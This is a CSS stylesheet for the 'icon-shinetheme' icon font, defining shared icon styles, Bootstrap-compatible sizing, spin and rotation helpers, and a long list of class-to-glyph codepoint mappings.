.icon-camera-retro, .icon-facebook-sign, .icon-twitter-sign, .icon-bar-chart, .icon-resize-horizontal, .icon-resize-vertical, .icon-folder-open-2, .icon-folder-close, .icon-shopping-cart, .icon-retweet, .icon-chevron-down, .icon-chevron-up, .icon-magnet-2, .icon-comment-2, .icon-random, .icon-calendar-5, .icon-plane, .icon-warning-sign, .icon-eye-close, .icon-eye-open, .icon-fire-2, .icon-leaf-2, .icon-gift-3, .icon-exclamation-sign, .icon-asterisk, .icon-minus-4, .icon-plus-4, .icon-resize-small, .icon-resize-full, .icon-share-alt, .icon-arrow-down-5, .icon-arrow-up-5, .icon-arrow-right-5, .icon-arrow-left-5, .icon-ban-circle, .icon-ok-circle, .icon-remove-circle, .icon-screenshot, .icon-info-sign, .icon-question-sign, .icon-ok-sign, .icon-remove-sign, .icon-minus-sign, .icon-plus-sign-2, .icon-chevron-right, .icon-chevron-left, .icon-eject-3, .icon-step-forward, .icon-fast-forward, .icon-forward-5, .icon-stop-5, .icon-pause-5, .icon-play-6, .icon-backward-3, .icon-fast-backward, .icon-step-backward, .icon-move-3, .icon-check, .icon-share-3, .icon-edit, .icon-tint, .icon-adjust, .icon-map-marker, .icon-pencil-4, .icon-picture-2, .icon-facetime-video, .icon-indent-right, .icon-indent-left, .icon-list-5, .icon-align-justify, .icon-align-right, .icon-align-center, .icon-align-left, .icon-text-width-2, .icon-text-height-2, .icon-italic-2, .icon-bold-2, .icon-font-2, .icon-camera-6, .icon-print-2, .icon-bookmark-4, .icon-book-3, .icon-tags-2, .icon-tag-3, .icon-barcode-2, .icon-qrcode-2, .icon-volume-up, .icon-volume-down, .icon-volume-off, .icon-headphones-4, .icon-flag-3, .icon-lock-3, .icon-list-alt, .icon-refresh-2, .icon-repeat, .icon-play-circle, .icon-inbox-2, .icon-upload-5, .icon-download-5, .icon-download-alt, .icon-road-2, .icon-time, .icon-file-7, .icon-home-6, .icon-trash, .icon-cog-5, .icon-signal, .icon-off, .icon-zoom-out-2, .icon-zoom-in-2, .icon-remove-3, .icon-ok, .icon-th-list, .icon-th, .icon-th-large, .icon-film-3, .icon-user-7, .icon-star-empty, .icon-star-7, .icon-heart-4, .icon-envelope-2, .icon-search-3, .icon-music-3, .icon-glass-2, .icon-smashing, .icon-vk-2, .icon-circles, .icon-behance, .icon-mixi, .icon-soundcloud-3, .icon-picasa, .icon-paypal-4, .icon-sina-weibo, .icon-renren-2, .icon-skype-4, .icon-skype-5, .icon-flattr-2, .icon-evernote, .icon-dropbox-2, .icon-instagram-3, .icon-qq, .icon-spotify, .icon-spotify-2, .icon-rdio, .icon-rdio-2, .icon-lastfm-3, .icon-lastfm-4, .icon-stumbleupon-3, .icon-stumbleupon-4, .icon-dribbble-6, .icon-dribbble-7, .icon-linkedin-3, .icon-linkedin-4, .icon-tumblr-4, .icon-tumblr-5, .icon-pinterest-4, .icon-pinterest-5, .icon-googleplus, .icon-googleplus-2, .icon-facebook-5, .icon-facebook-6, .icon-facebook-7, .icon-twitter-6, .icon-twitter-7, .icon-vimeo-3, .icon-vimeo-4, .icon-flickr-6, .icon-flickr-7, .icon-github-7, .icon-github-8, .icon-daniel-bruce, .icon-daniel-bruce-2, .icon-cc-share, .icon-cc-share-2, .icon-cc-zero, .icon-cc-pd, .icon-cc-nd, .icon-cc-sa, .icon-cc-nc-jp, .icon-cc-nc-eu, .icon-cc-nc, .icon-cc-by, .icon-cc, .icon-dot, .icon-dots, .icon-ellipsis, .icon-menu-3, .icon-arrow-right-6, .icon-arrow-up-6, .icon-arrow-down-6, .icon-arrow-left-6, .icon-untitled, .icon-arrow-up-7, .icon-arrow-down-7, .icon-arrow-left-7, .icon-arrow-right-7, .icon-arrow-up-8, .icon-arrow-down-8, .icon-arrow-left-8, .icon-arrow-right-8, .icon-arrow-up-9, .icon-arrow-down-9, .icon-arrow-left-9, .icon-arrow-right-9, .icon-arrow-up-10, .icon-arrow-down-10, .icon-arrow-left-10, .icon-arrow-right-10, .icon-arrow-up-11, .icon-arrow-down-11, .icon-arrow-left-11, .icon-arrow-right-11, .icon-arrow-up-12, .icon-arrow-down-12, .icon-arrow-left-12, .icon-arrow-right-12, .icon-arrow-up--upload, .icon-arrow-down-13, .icon-arrow-left-13, .icon-flow-parallel, .icon-flow-line, .icon-flow-tree, .icon-flow-branch, .icon-flow-cascade, .icon-mute, .icon-sound, .icon-volume-4, .icon-resize-shrink, .icon-resize-enlarge, .icon-last-3, .icon-first-3, .icon-previous-2, .icon-next-2, .icon-stop-6, .icon-record, .icon-pause-6, .icon-play-7, .icon-book-4, .icon-bookmarks-2, .icon-bookmark-5, .icon-upload-6, .icon-cloud-10, .icon-install, .icon-disk-3, .icon-download-6, .icon-upload-7, .icon-trash-2, .icon-archive-2, .icon-folder-3, .icon-music-4, .icon-video, .icon-pictures, .icon-landscape, .icon-docs, .icon-document, .icon-text, .icon-text-2, .icon-list-6, .icon-layout, .icon-add-to-list, .icon-list-7, .icon-switch-3, .icon-back, .icon-history-2, .icon-loop-5, .icon-retweet-2, .icon-arrow, .icon-arrow-2, .icon-shuffle-2, .icon-ccw, .icon-cw, .icon-cycle, .icon-warning-3, .icon-help, .icon-question-3, .icon-info-6, .icon-info-7, .icon-blocked-3, .icon-erase, .icon-plus-5, .icon-minus-5, .icon-cross, .icon-plus-6, .icon-minus-6, .icon-cross-2, .icon-plus-7, .icon-minus-7, .icon-cross-3, .icon-checkmark-5, .icon-login, .icon-logout, .icon-lock-open, .icon-lock-4, .icon-graph, .icon-bars-4, .icon-pie-2, .icon-statistics, .icon-untitled-2, .icon-droplets, .icon-thermometer-2, .icon-signal-2, .icon-rss-3, .icon-ticket-3, .icon-box-2, .icon-cart-5, .icon-clipboard, .icon-voicemail, .icon-database-2, .icon-credit-card-2, .icon-light-bulb, .icon-infinity, .icon-screen-2, .icon-code-4, .icon-adjust-2, .icon-sun-5, .icon-sun-6, .icon-progress-0, .icon-brogress-1, .icon-progress-2, .icon-progress-3, .icon-publish, .icon-browser, .icon-keyboard-4, .icon-earth-3, .icon-cone-2, .icon-suitcase-2, .icon-brush-2, .icon-rocket-3, .icon-cup, .icon-drive, .icon-magnet-3, .icon-bucket, .icon-battery-2, .icon-key-5, .icon-network, .icon-language, .icon-gauge, .icon-hourglass, .icon-air, .icon-briefcase-4, .icon-cd-2, .icon-droplet-3, .icon-thunder, .icon-bolt-4, .icon-calendar-6, .icon-microphone-3, .icon-clock-5, .icon-eye-5, .icon-lifebuoy, .icon-airplane-2, .icon-bag, .icon-newspaper-2, .icon-book-5, .icon-graduation, .icon-new, .icon-music-5, .icon-music-6, .icon-leaf-3, .icon-palette, .icon-moon-4, .icon-megaphone, .icon-camera-7, .icon-tag-4, .icon-trophy-4, .icon-tools, .icon-cog-6, .icon-flag-4, .icon-link-4, .icon-bell-3, .icon-printer, .icon-flashlight, .icon-search-4, .icon-popup, .icon-house, .icon-quote, .icon-comment-3, .icon-chat-2, .icon-thumbs-down-4, .icon-thumbs-up-6, .icon-star-8, .icon-star-9, .icon-heart-5, .icon-heart-6, .icon-sharable, .icon-share-4, .icon-target-6, .icon-location-5, .icon-compass-6, .icon-map-3, .icon-location-6, .icon-export, .icon-vcard, .icon-user-add, .icon-users-3, .icon-user-8, .icon-forward-6, .icon-reply-all-2, .icon-reply-3, .icon-drawer-4, .icon-paperclip-3, .icon-feather, .icon-pencil-5, .icon-paperplane, .icon-mail-6, .icon-directions, .icon-mouse-2, .icon-mobile-5, .icon-phone-4 {
	font-family: 'icon-shinetheme';
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
}

[class^="icon-"]:before,
[class*=" icon-"]:before {
	font-family: 'icon-shinetheme';
	text-decoration: inherit;
	display: inline-block;
	speak: none;
}
/* makes the font 33% larger relative to the icon container */
.icon-large:before {
  vertical-align: -10%;
  font-size: 1.3333333333333333em;
}
/* makes sure icons active on rollover in links */
a [class^="icon-"],
a [class*=" icon-"] {
  display: inline;
}
/* increased font size for icon-large */
[class^="icon-"].icon-fixed-width,
[class*=" icon-"].icon-fixed-width {
  display: inline-block;
  width: 1.1428571428571428em;
  text-align: right;
  padding-right: 0.2857142857142857em;
}
[class^="icon-"].icon-fixed-width.icon-large,
[class*=" icon-"].icon-fixed-width.icon-large {
  width: 1.4285714285714286em;
}
.icons-ul {
  margin-left: 2.142857142857143em;
  list-style-type: none;
}
.icons-ul > li {
  position: relative;
}
.icons-ul .icon-li {
  position: absolute;
  left: -2.142857142857143em;
  width: 2.142857142857143em;
  text-align: center;
  line-height: inherit;
}
[class^="icon-"].hide,
[class*=" icon-"].hide {
  display: none;
}
.icon-muted {
  color: #eeeeee;
}
.icon-light {
  color: #ffffff;
}
.icon-dark {
  color: #333333;
}
.icon-border {
  border: solid 1px #eeeeee;
  padding: .2em .25em .15em;
  -webkit-border-radius: 3px;
  -moz-border-radius: 3px;
  border-radius: 3px;
}
.icon-2x {
  font-size: 2em;
}
.icon-2x.icon-border {
  border-width: 2px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px;
  border-radius: 4px;
}
.icon-3x {
  font-size: 3em;
}
.icon-3x.icon-border {
  border-width: 3px;
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
}
.icon-4x {
  font-size: 4em;
}
.icon-4x.icon-border {
  border-width: 4px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  border-radius: 6px;
}
.icon-5x {
  font-size: 5em;
}
.icon-5x.icon-border {
  border-width: 5px;
  -webkit-border-radius: 7px;
  -moz-border-radius: 7px;
  border-radius: 7px;
}
.pull-right {
  float: right;
}
.pull-left {
  float: left;
}
[class^="icon-"].pull-left,
[class*=" icon-"].pull-left {
  margin-right: .3em;
}
[class^="icon-"].pull-right,
[class*=" icon-"].pull-right {
  margin-left: .3em;
}
/* BOOTSTRAP SPECIFIC CLASSES
 * -------------------------- */
/* Bootstrap 2.0 sprites.less reset */
[class^="icon-"],
[class*=" icon-"] {
  display: inline;
  width: auto;
  height: auto;
  line-height: normal;
  vertical-align: baseline;
  background-image: none;
  background-position: 0% 0%;
  background-repeat: repeat;
  margin-top: 0;
}
/* more sprites.less reset */
.icon-white,
.nav-pills > .active > a > [class^="icon-"],
.nav-pills > .active > a > [class*=" icon-"],
.nav-list > .active > a > [class^="icon-"],
.nav-list > .active > a > [class*=" icon-"],
.navbar-inverse .nav > .active > a > [class^="icon-"],
.navbar-inverse .nav > .active > a > [class*=" icon-"],
.dropdown-menu > li > a:hover > [class^="icon-"],
.dropdown-menu > li > a:hover > [class*=" icon-"],
.dropdown-menu > .active > a > [class^="icon-"],
.dropdown-menu > .active > a > [class*=" icon-"],
.dropdown-submenu:hover > a > [class^="icon-"],
.dropdown-submenu:hover > a > [class*=" icon-"] {
  background-image: none;
}
/* keeps Bootstrap styles with and without icons the same */
.btn [class^="icon-"].icon-large,
.nav [class^="icon-"].icon-large,
.btn [class*=" icon-"].icon-large,
.nav [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].icon-spin,
.nav [class^="icon-"].icon-spin,
.btn [class*=" icon-"].icon-spin,
.nav [class*=" icon-"].icon-spin {
  display: inline-block;
}
.nav-tabs [class^="icon-"],
.nav-pills [class^="icon-"],
.nav-tabs [class*=" icon-"],
.nav-pills [class*=" icon-"],
.nav-tabs [class^="icon-"].icon-large,
.nav-pills [class^="icon-"].icon-large,
.nav-tabs [class*=" icon-"].icon-large,
.nav-pills [class*=" icon-"].icon-large {
  line-height: .9em;
}
.btn [class^="icon-"].pull-left.icon-2x,
.btn [class*=" icon-"].pull-left.icon-2x,
.btn [class^="icon-"].pull-right.icon-2x,
.btn [class*=" icon-"].pull-right.icon-2x {
  margin-top: .18em;
}
.btn [class^="icon-"].icon-spin.icon-large,
.btn [class*=" icon-"].icon-spin.icon-large {
  line-height: .8em;
}
.btn.btn-small [class^="icon-"].pull-left.icon-2x,
.btn.btn-small [class*=" icon-"].pull-left.icon-2x,
.btn.btn-small [class^="icon-"].pull-right.icon-2x,
.btn.btn-small [class*=" icon-"].pull-right.icon-2x {
  margin-top: .25em;
}
.btn.btn-large [class^="icon-"],
.btn.btn-large [class*=" icon-"] {
  margin-top: 0;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x,
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-top: .05em;
}
.btn.btn-large [class^="icon-"].pull-left.icon-2x,
.btn.btn-large [class*=" icon-"].pull-left.icon-2x {
  margin-right: .2em;
}
.btn.btn-large [class^="icon-"].pull-right.icon-2x,
.btn.btn-large [class*=" icon-"].pull-right.icon-2x {
  margin-left: .2em;
}
/* Fixes alignment in nav lists */
.nav-list [class^="icon-"],
.nav-list [class*=" icon-"] {
  line-height: inherit;
}
/* EXTRAS
 * -------------------------- */
/* Stacked and layered icon */
.icon-stacked {
  position: relative;
  display: inline-block;
  width: 2em;
  height: 2em;
  line-height: 2em;
  vertical-align: -35%;
}
.icon-stacked [class^="icon-"],
.icon-stacked [class*=" icon-"] {
  display: block;
  text-align: center;
  position: absolute;
  width: 100%;
  height: 100%;
  font-size: 1em;
  line-height: inherit;
  *line-height: 2em;
}
.icon-stacked .icon-stack-base {
  font-size: 2em;
  *line-height: 1em;
}
/* Animated rotating icon */
.icon-spinning {
  display: inline-block;
  -moz-animation: spin 2s infinite linear;
  -o-animation: spin 2s infinite linear;
  -webkit-animation: spin 2s infinite linear;
  animation: spin 2s infinite linear;
}
/* Prevent stack and spinners from being taken inline when inside a link */
a .icon-stacked,
a .icon-spinning {
  display: inline-block;
  text-decoration: none;
}
@-moz-keyframes spin {
  0% {
    -moz-transform: rotate(0deg);
  }
  100% {
    -moz-transform: rotate(359deg);
  }
}
@-webkit-keyframes spin {
  0% {
    -webkit-transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(359deg);
  }
}
@-o-keyframes spin {
  0% {
    -o-transform: rotate(0deg);
  }
  100% {
    -o-transform: rotate(359deg);
  }
}
@-ms-keyframes spin {
  0% {
    -ms-transform: rotate(0deg);
  }
  100% {
    -ms-transform: rotate(359deg);
  }
}
@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(359deg);
  }
}
/* Icon rotations and mirroring */
.icon-rotate-90:before {
  -webkit-transform: rotate(90deg);
  -moz-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  -o-transform: rotate(90deg);
  transform: rotate(90deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
}
.icon-rotate-180:before {
  -webkit-transform: rotate(180deg);
  -moz-transform: rotate(180deg);
  -ms-transform: rotate(180deg);
  -o-transform: rotate(180deg);
  transform: rotate(180deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
}
.icon-rotate-270:before {
  -webkit-transform: rotate(270deg);
  -moz-transform: rotate(270deg);
  -ms-transform: rotate(270deg);
  -o-transform: rotate(270deg);
  transform: rotate(270deg);
  filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=3);
}
.icon-flip-horizontal:before {
  -webkit-transform: scale(-1, 1);
  -moz-transform: scale(-1, 1);
  -ms-transform: scale(-1, 1);
  -o-transform: scale(-1, 1);
  transform: scale(-1, 1);
}
.icon-flip-vertical:before {
  -webkit-transform: scale(1, -1);
  -moz-transform: scale(1, -1);
  -ms-transform: scale(1, -1);
  -o-transform: scale(1, -1);
  transform: scale(1, -1);
}
/* ensure rotation occurs inside anchor tags */
a .icon-rotate-90:before,
a .icon-rotate-180:before,
a .icon-rotate-270:before,
a .icon-flip-horizontal:before,
a .icon-flip-vertical:before {
  display: inline-block;
}

.icon-home:before {
	content: "\e000";
}
.icon-home-2:before {
	content: "\e001";
}
.icon-home-3:before {
	content: "\e002";
}
.icon-office:before {
	content: "\e003";
}
.icon-newspaper:before {
	content: "\e004";
}
.icon-pencil:before {
	content: "\e005";
}
.icon-pencil-2:before {
	content: "\e006";
}
.icon-quill:before {
	content: "\e007";
}
.icon-pen:before {
	content: "\e008";
}
.icon-blog:before {
	content: "\e009";
}
.icon-droplet:before {
	content: "\e00a";
}
.icon-paint-format:before {
	content: "\e00b";
}
.icon-image:before {
	content: "\e00c";
}
.icon-image-2:before {
	content: "\e00d";
}
.icon-images:before {
	content: "\e00e";
}
.icon-camera:before {
	content: "\e00f";
}
.icon-music:before {
	content: "\e010";
}
.icon-headphones:before {
	content: "\e011";
}
.icon-play:before {
	content: "\e012";
}
.icon-film:before {
	content: "\e013";
}
.icon-camera-2:before {
	content: "\e014";
}
.icon-dice:before {
	content: "\e015";
}
.icon-pacman:before {
	content: "\e016";
}
.icon-spades:before {
	content: "\e017";
}
.icon-clubs:before {
	content: "\e018";
}
.icon-diamonds:before {
	content: "\e019";
}
.icon-pawn:before {
	content: "\e01a";
}
.icon-bullhorn:before {
	content: "\e01b";
}
.icon-connection:before {
	content: "\e01c";
}
.icon-podcast:before {
	content: "\e01d";
}
.icon-feed:before {
	content: "\e01e";
}
.icon-book:before {
	content: "\e01f";
}
.icon-books:before {
	content: "\e020";
}
.icon-library:before {
	content: "\e021";
}
.icon-file:before {
	content: "\e022";
}
.icon-profile:before {
	content: "\e023";
}
.icon-file-2:before {
	content: "\e024";
}
.icon-file-3:before {
	content: "\e025";
}
.icon-file-4:before {
	content: "\e026";
}
.icon-copy:before {
	content: "\e027";
}
.icon-copy-2:before {
	content: "\e028";
}
.icon-copy-3:before {
	content: "\e029";
}
.icon-paste:before {
	content: "\e02a";
}
.icon-paste-2:before {
	content: "\e02b";
}
.icon-paste-3:before {
	content: "\e02c";
}
.icon-stack:before {
	content: "\e02d";
}
.icon-folder:before {
	content: "\e02e";
}
.icon-folder-open:before {
	content: "\e02f";
}
.icon-tag:before {
	content: "\e030";
}
.icon-tags:before {
	content: "\e031";
}
.icon-barcode:before {
	content: "\e032";
}
.icon-qrcode:before {
	content: "\e033";
}
.icon-ticket:before {
	content: "\e034";
}
.icon-cart:before {
	content: "\e035";
}
.icon-cart-2:before {
	content: "\e036";
}
.icon-cart-3:before {
	content: "\e037";
}
.icon-coin:before {
	content: "\e038";
}
.icon-credit:before {
	content: "\e039";
}
.icon-calculate:before {
	content: "\e03a";
}
.icon-support:before {
	content: "\e03b";
}
.icon-phone:before {
	content: "\e03c";
}
.icon-phone-hang-up:before {
	content: "\e03d";
}
.icon-address-book:before {
	content: "\e03e";
}
.icon-notebook:before {
	content: "\e03f";
}
.icon-envelop:before {
	content: "\e040";
}
.icon-pushpin:before {
	content: "\e041";
}
.icon-location:before {
	content: "\e042";
}
.icon-location-2:before {
	content: "\e043";
}
.icon-compass:before {
	content: "\e044";
}
.icon-map:before {
	content: "\e045";
}
.icon-map-2:before {
	content: "\e046";
}
.icon-history:before {
	content: "\e047";
}
.icon-clock:before {
	content: "\e048";
}
.icon-clock-2:before {
	content: "\e049";
}
.icon-alarm:before {
	content: "\e04a";
}
.icon-alarm-2:before {
	content: "\e04b";
}
.icon-bell:before {
	content: "\e04c";
}
.icon-stopwatch:before {
	content: "\e04d";
}
.icon-calendar:before {
	content: "\e04e";
}
.icon-calendar-2:before {
	content: "\e04f";
}
.icon-print:before {
	content: "\e050";
}
.icon-keyboard:before {
	content: "\e051";
}
.icon-screen:before {
	content: "\e052";
}
.icon-laptop:before {
	content: "\e053";
}
.icon-mobile:before {
	content: "\e054";
}
.icon-mobile-2:before {
	content: "\e055";
}
.icon-tablet:before {
	content: "\e056";
}
.icon-tv:before {
	content: "\e057";
}
.icon-cabinet:before {
	content: "\e058";
}
.icon-drawer:before {
	content: "\e059";
}
.icon-drawer-2:before {
	content: "\e05a";
}
.icon-drawer-3:before {
	content: "\e05b";
}
.icon-box-add:before {
	content: "\e05c";
}
.icon-box-remove:before {
	content: "\e05d";
}
.icon-download:before {
	content: "\e05e";
}
.icon-upload:before {
	content: "\e05f";
}
.icon-disk:before {
	content: "\e060";
}
.icon-storage:before {
	content: "\e061";
}
.icon-undo:before {
	content: "\e062";
}
.icon-redo:before {
	content: "\e063";
}
.icon-flip:before {
	content: "\e064";
}
.icon-flip-2:before {
	content: "\e065";
}
.icon-undo-2:before {
	content: "\e066";
}
.icon-redo-2:before {
	content: "\e067";
}
.icon-forward:before {
	content: "\e068";
}
.icon-reply:before {
	content: "\e069";
}
.icon-bubble:before {
	content: "\e06a";
}
.icon-bubbles:before {
	content: "\e06b";
}
.icon-bubbles-2:before {
	content: "\e06c";
}
.icon-bubble-2:before {
	content: "\e06d";
}
.icon-bubbles-3:before {
	content: "\e06e";
}
.icon-bubbles-4:before {
	content: "\e06f";
}
.icon-user:before {
	content: "\e070";
}
.icon-users:before {
	content: "\e071";
}
.icon-user-2:before {
	content: "\e072";
}
.icon-users-2:before {
	content: "\e073";
}
.icon-user-3:before {
	content: "\e074";
}
.icon-user-4:before {
	content: "\e075";
}
.icon-quotes-left:before {
	content: "\e076";
}
.icon-busy:before {
	content: "\e077";
}
.icon-spinner:before {
	content: "\e078";
}
.icon-spinner-2:before {
	content: "\e079";
}
.icon-spinner-3:before {
	content: "\e07a";
}
.icon-spinner-4:before {
	content: "\e07b";
}
.icon-spinner-5:before {
	content: "\e07c";
}
.icon-spinner-6:before {
	content: "\e07d";
}
.icon-binoculars:before {
	content: "\e07e";
}
.icon-search:before {
	content: "\e07f";
}
.icon-zoom-in:before {
	content: "\e080";
}
.icon-zoom-out:before {
	content: "\e081";
}
.icon-expand:before {
	content: "\e082";
}
.icon-contract:before {
	content: "\e083";
}
.icon-expand-2:before {
	content: "\e084";
}
.icon-contract-2:before {
	content: "\e085";
}
.icon-key:before {
	content: "\e086";
}
.icon-key-2:before {
	content: "\e087";
}
.icon-lock:before {
	content: "\e088";
}
.icon-lock-2:before {
	content: "\e089";
}
.icon-unlocked:before {
	content: "\e08a";
}
.icon-wrench:before {
	content: "\e08b";
}
.icon-settings:before {
	content: "\e08c";
}
.icon-equalizer:before {
	content: "\e08d";
}
.icon-cog:before {
	content: "\e08e";
}
.icon-cogs:before {
	content: "\e08f";
}
.icon-cog-2:before {
	content: "\e090";
}
.icon-hammer:before {
	content: "\e091";
}
.icon-wand:before {
	content: "\e092";
}
.icon-aid:before {
	content: "\e093";
}
.icon-bug:before {
	content: "\e094";
}
.icon-pie:before {
	content: "\e095";
}
.icon-stats:before {
	content: "\e096";
}
.icon-bars:before {
	content: "\e097";
}
.icon-bars-2:before {
	content: "\e098";
}
.icon-gift:before {
	content: "\e099";
}
.icon-trophy:before {
	content: "\e09a";
}
.icon-glass:before {
	content: "\e09b";
}
.icon-mug:before {
	content: "\e09c";
}
.icon-food:before {
	content: "\e09d";
}
.icon-leaf:before {
	content: "\e09e";
}
.icon-rocket:before {
	content: "\e09f";
}
.icon-meter:before {
	content: "\e0a0";
}
.icon-meter2:before {
	content: "\e0a1";
}
.icon-dashboard:before {
	content: "\e0a2";
}
.icon-hammer-2:before {
	content: "\e0a3";
}
.icon-fire:before {
	content: "\e0a4";
}
.icon-lab:before {
	content: "\e0a5";
}
.icon-magnet:before {
	content: "\e0a6";
}
.icon-remove:before {
	content: "\e0a7";
}
.icon-remove-2:before {
	content: "\e0a8";
}
.icon-briefcase:before {
	content: "\e0a9";
}
.icon-airplane:before {
	content: "\e0aa";
}
.icon-truck:before {
	content: "\e0ab";
}
.icon-road:before {
	content: "\e0ac";
}
.icon-accessibility:before {
	content: "\e0ad";
}
.icon-target:before {
	content: "\e0ae";
}
.icon-shield:before {
	content: "\e0af";
}
.icon-lightning:before {
	content: "\e0b0";
}
.icon-switch:before {
	content: "\e0b1";
}
.icon-power-cord:before {
	content: "\e0b2";
}
.icon-signup:before {
	content: "\e0b3";
}
.icon-list:before {
	content: "\e0b4";
}
.icon-list-2:before {
	content: "\e0b5";
}
.icon-numbered-list:before {
	content: "\e0b6";
}
.icon-menu:before {
	content: "\e0b7";
}
.icon-menu-2:before {
	content: "\e0b8";
}
.icon-tree:before {
	content: "\e0b9";
}
.icon-cloud:before {
	content: "\e0ba";
}
.icon-cloud-download:before {
	content: "\e0bb";
}
.icon-cloud-upload:before {
	content: "\e0bc";
}
.icon-download-2:before {
	content: "\e0bd";
}
.icon-upload-2:before {
	content: "\e0be";
}
.icon-download-3:before {
	content: "\e0bf";
}
.icon-upload-3:before {
	content: "\e0c0";
}
.icon-globe:before {
	content: "\e0c1";
}
.icon-earth:before {
	content: "\e0c2";
}
.icon-link:before {
	content: "\e0c3";
}
.icon-flag:before {
	content: "\e0c4";
}
.icon-attachment:before {
	content: "\e0c5";
}
.icon-eye:before {
	content: "\e0c6";
}
.icon-eye-blocked:before {
	content: "\e0c7";
}
.icon-eye-2:before {
	content: "\e0c8";
}
.icon-bookmark:before {
	content: "\e0c9";
}
.icon-bookmarks:before {
	content: "\e0ca";
}
.icon-brightness-medium:before {
	content: "\e0cb";
}
.icon-brightness-contrast:before {
	content: "\e0cc";
}
.icon-contrast:before {
	content: "\e0cd";
}
.icon-star:before {
	content: "\e0ce";
}
.icon-star-2:before {
	content: "\e0cf";
}
.icon-star-3:before {
	content: "\e0d0";
}
.icon-heart:before {
	content: "\e0d1";
}
.icon-heart-2:before {
	content: "\e0d2";
}
.icon-heart-broken:before {
	content: "\e0d3";
}
.icon-thumbs-up:before {
	content: "\e0d4";
}
.icon-thumbs-up-2:before {
	content: "\e0d5";
}
.icon-happy:before {
	content: "\e0d6";
}
.icon-happy-2:before {
	content: "\e0d7";
}
.icon-smiley:before {
	content: "\e0d8";
}
.icon-smiley-2:before {
	content: "\e0d9";
}
.icon-tongue:before {
	content: "\e0da";
}
.icon-tongue-2:before {
	content: "\e0db";
}
.icon-sad:before {
	content: "\e0dc";
}
.icon-sad-2:before {
	content: "\e0dd";
}
.icon-wink:before {
	content: "\e0de";
}
.icon-wink-2:before {
	content: "\e0df";
}
.icon-grin:before {
	content: "\e0e0";
}
.icon-grin-2:before {
	content: "\e0e1";
}
.icon-cool:before {
	content: "\e0e2";
}
.icon-cool-2:before {
	content: "\e0e3";
}
.icon-angry:before {
	content: "\e0e4";
}
.icon-angry-2:before {
	content: "\e0e5";
}
.icon-evil:before {
	content: "\e0e6";
}
.icon-evil-2:before {
	content: "\e0e7";
}
.icon-shocked:before {
	content: "\e0e8";
}
.icon-shocked-2:before {
	content: "\e0e9";
}
.icon-confused:before {
	content: "\e0ea";
}
.icon-confused-2:before {
	content: "\e0eb";
}
.icon-neutral:before {
	content: "\e0ec";
}
.icon-neutral-2:before {
	content: "\e0ed";
}
.icon-wondering:before {
	content: "\e0ee";
}
.icon-wondering-2:before {
	content: "\e0ef";
}
.icon-point-up:before {
	content: "\e0f0";
}
.icon-point-right:before {
	content: "\e0f1";
}
.icon-point-down:before {
	content: "\e0f2";
}
.icon-point-left:before {
	content: "\e0f3";
}
.icon-warning:before {
	content: "\e0f4";
}
.icon-notification:before {
	content: "\e0f5";
}
.icon-question:before {
	content: "\e0f6";
}
.icon-info:before {
	content: "\e0f7";
}
.icon-info-2:before {
	content: "\e0f8";
}
.icon-blocked:before {
	content: "\e0f9";
}
.icon-cancel-circle:before {
	content: "\e0fa";
}
.icon-checkmark-circle:before {
	content: "\e0fb";
}
.icon-spam:before {
	content: "\e0fc";
}
.icon-close:before {
	content: "\e0fd";
}
.icon-checkmark:before {
	content: "\e0fe";
}
.icon-checkmark-2:before {
	content: "\e0ff";
}
.icon-spell-check:before {
	content: "\e100";
}
.icon-minus:before {
	content: "\e101";
}
.icon-plus:before {
	content: "\e102";
}
.icon-enter:before {
	content: "\e103";
}
.icon-exit:before {
	content: "\e104";
}
.icon-play-2:before {
	content: "\e105";
}
.icon-pause:before {
	content: "\e106";
}
.icon-stop:before {
	content: "\e107";
}
.icon-backward:before {
	content: "\e108";
}
.icon-forward-2:before {
	content: "\e109";
}
.icon-play-3:before {
	content: "\e10a";
}
.icon-pause-2:before {
	content: "\e10b";
}
.icon-stop-2:before {
	content: "\e10c";
}
.icon-backward-2:before {
	content: "\e10d";
}
.icon-forward-3:before {
	content: "\e10e";
}
.icon-first:before {
	content: "\e10f";
}
.icon-last:before {
	content: "\e110";
}
.icon-previous:before {
	content: "\e111";
}
.icon-next:before {
	content: "\e112";
}
.icon-eject:before {
	content: "\e113";
}
.icon-volume-high:before {
	content: "\e114";
}
.icon-volume-medium:before {
	content: "\e115";
}
.icon-volume-low:before {
	content: "\e116";
}
.icon-volume-mute:before {
	content: "\e117";
}
.icon-volume-mute-2:before {
	content: "\e118";
}
.icon-volume-increase:before {
	content: "\e119";
}
.icon-volume-decrease:before {
	content: "\e11a";
}
.icon-loop:before {
	content: "\e11b";
}
.icon-loop-2:before {
	content: "\e11c";
}
.icon-loop-3:before {
	content: "\e11d";
}
.icon-shuffle:before {
	content: "\e11e";
}
.icon-arrow-up-left:before {
	content: "\e11f";
}
.icon-arrow-up:before {
	content: "\e120";
}
.icon-arrow-up-right:before {
	content: "\e121";
}
.icon-arrow-right:before {
	content: "\e122";
}
.icon-arrow-down-right:before {
	content: "\e123";
}
.icon-arrow-down:before {
	content: "\e124";
}
.icon-arrow-down-left:before {
	content: "\e125";
}
.icon-arrow-left:before {
	content: "\e126";
}
.icon-arrow-up-left-2:before {
	content: "\e127";
}
.icon-arrow-up-2:before {
	content: "\e128";
}
.icon-arrow-up-right-2:before {
	content: "\e129";
}
.icon-arrow-right-2:before {
	content: "\e12a";
}
.icon-arrow-down-right-2:before {
	content: "\e12b";
}
.icon-arrow-down-2:before {
	content: "\e12c";
}
.icon-arrow-down-left-2:before {
	content: "\e12d";
}
.icon-arrow-left-2:before {
	content: "\e12e";
}
